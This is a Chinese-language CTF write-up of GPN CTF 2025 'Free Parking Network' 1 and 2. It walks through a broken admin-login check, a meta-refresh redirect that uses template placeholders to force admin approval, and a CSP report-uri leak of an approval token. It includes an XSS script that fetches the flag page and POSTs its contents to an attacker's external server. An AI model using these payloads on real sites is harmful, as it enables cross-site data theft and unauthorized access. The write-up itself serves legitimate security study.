xss利用meta强制跳转 CPS report-uri 报错泄露利用 -- GPN CTF 2025 Free Parking Network 1 2

part 1

在此题目中,我们可以指定html与标头

html 复制代码
<sCrIpt>alert(1)</ScRipt>
http 复制代码
A5rz: A5rz

服务器会返回如下内容

html 复制代码
HTTP/1.1 200 OK
X-Powered-By: Express
A5rz: A5rz
Content-Type: text/html; charset=utf-8
Content-Length: 619
ETag: W/"26b-14GnlO+yaaXJ3CEkd0rBJ/mmY8g"
Date: Mon, 23 Jun 2025 01:56:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <meta name="viewport" content="width=device-width, initial-scale=1.0">
                    <meta http-equiv="Content-Security-Policy" content="default-src 'none'">
                    <title>User made site hosted on our Free Parking Network</title>
                </head>
                <body>
                    <a href="/approve/a0d9faca7b6600e81d51347556a093e5/">Approve this site</a>
                    <sCrIpt>alert(1)</ScRipt>
                </body>
                </html>

我们发现返回中存在一个严格的标签使得我们无法执行

html 复制代码
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">

继续查看发现此标签来自这段代码

js 复制代码
// 提供上传的HTML和自定义头部
sessionRouter.get('/site/:id', async (req, res) => {
    try {
        // 根据ID获取网站信息
        const site = await db.getSiteById(req.params.id);
        if (!site) return res.status(404).send('Not found');
        
        // 设置自定义HTTP头部
        if (site.headers){
            site.headers.split("\n").forEach(header => {
                const [key, ...rest] = header.split(":");
                const value = rest.join(":");
                if (key && value) {
                    res.setHeader(key.trim(), value.trim());
                }
            });
        }

        // 设置内容类型
        res.setHeader('Content-Type', 'text/html; charset=utf-8');
        // 检查访问权限
        if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {
            return res.status(403).send('This site is not approved yet. Please wait for admin approval.');
        }
        
        // 处理批准令牌
        approveToken = "";
        if (req.session.userId === 0) approveToken = site.approveToken;
        // 处理内容安全策略
        CSP = "";
        if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';
        console.log(`Serving site ${site.id} with owner ${site.owner} and approved status ${site.approved}`);
        
        // 渲染HTML模板
        html = hosting_template
            .replaceAll("{{site.html}}", site.html || 'NO HTML FOUND')
            .replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?')
            .replaceAll("{{site.approveToken}}", approveToken)
            .replaceAll("{{CSP}}", CSP);

        res.send(html);
    } catch (e) {
        console.error(e);
        res.status(500).send('Internal error');
    }
});

如果用户拥有damin权限则不会有此限制

js 复制代码
// 管理员登录端点
noSessionRouter.get('/admin/login', async (req, res, next) => {
    let adminToken = req.query.adminToken;

    // 验证管理员令牌
    if (req.query.adminToken !== adminToken) {
        res.send("Token is wrong");
        return;
    }

    // 设置管理员会话
    req.session.returning = true;
    req.session.userId = 0;
    res.sendStatus(200);
});

flag在flag网站中,但是此网站是未被批准的

js 复制代码
// 网站批准端点
sessionRouter.get("/approve/:siteId/:approveToken", async (req, res) => {
    let siteId = req.params.siteId;
    let approveToken = req.params.approveToken;

    // 获取网站信息
    site = await db.getSiteById(siteId);

    // 检查批准令牌是否有效
    if (approveToken !== site.approveToken) {
        res.send("Invalid approval token");
        return;
    }

    // 批准网站
    await db.approveSite(siteId);
    res.send("Site approved");
});

此处还存在类似模板注入的漏洞。

js 复制代码
// 渲染HTML模板
html = hosting_template
    .replaceAll("{{site.html}}", site.html || 'NO HTML FOUND')
    .replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?')
    .replaceAll("{{site.approveToken}}", approveToken)
    .replaceAll("{{CSP}}", CSP);

题目中存在一个明显的漏洞,导致任何人都可以是admin

js 复制代码
noSessionRouter.get('/admin/login', async (req, res, next) => {
    let adminToken = req.query.adminToken;

    if (req.query.adminToken !== adminToken) {
        res.send("Token is wrong");
        return;
    }

    req.session.returning = true;
    req.session.userId = 0;
    res.sendStatus(200);
});
js 复制代码
/admin/login?adminToken=1

part 2

修复了任何人都可以是admin的问题

方案1

Trick: <meta> 可用于强制跳转,结合之前的"模板注入",可以强制让admin审批我们的网站,取消我们网站的xss限制

js 复制代码
<meta http-equiv="refresh" content="1; url=/approve/{{site.id}}/{{site.approveToken}}">
复制代码
/review/:siteId

然后我们可以带出token,让管理员审批/flag

html 复制代码
<script>
fetch('/site/flag')
  .then(r => r.text())
  .then(data =>
    fetch('xss服务器', {
      method: 'POST',
      body: data
    })
  )
</script>

方案2

Content-Security-Policy (CSP) 的 report-uri 指令是一个用于收集违反CSP策略报告的机制 。它本身不阻止 浏览器加载被禁止的资源或执行被禁止的脚本,而是将违规行为详细记录下来,发送到你指定的服务器端点。

http 复制代码
Content-Security-Policy: default-src *; style-src 'report-sample'; script-src 'unsafe-inline'; report-uri xss服务器url;

这允许我们构造故意的错误,向外部服务器泄露错误的详细信息

复制代码
<style>
{{site.approveToken}}
</style>
相关推荐
枷锁—sha9 小时前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann11912 小时前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK202513 小时前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec14 小时前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用14 小时前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~15 小时前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix
fendouweiqian15 小时前
AWS WAF(配合 CloudFront)基础防护配置:免费能做什么、要不要开日志、如何限制危险方法
网络安全·aws·cloudfront
乾元15 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构
Whoami!16 小时前
⓫⁄₁₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用Windows计划任务提权
网络安全·信息安全·利用windows计划任务提权
虚构之人1 天前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全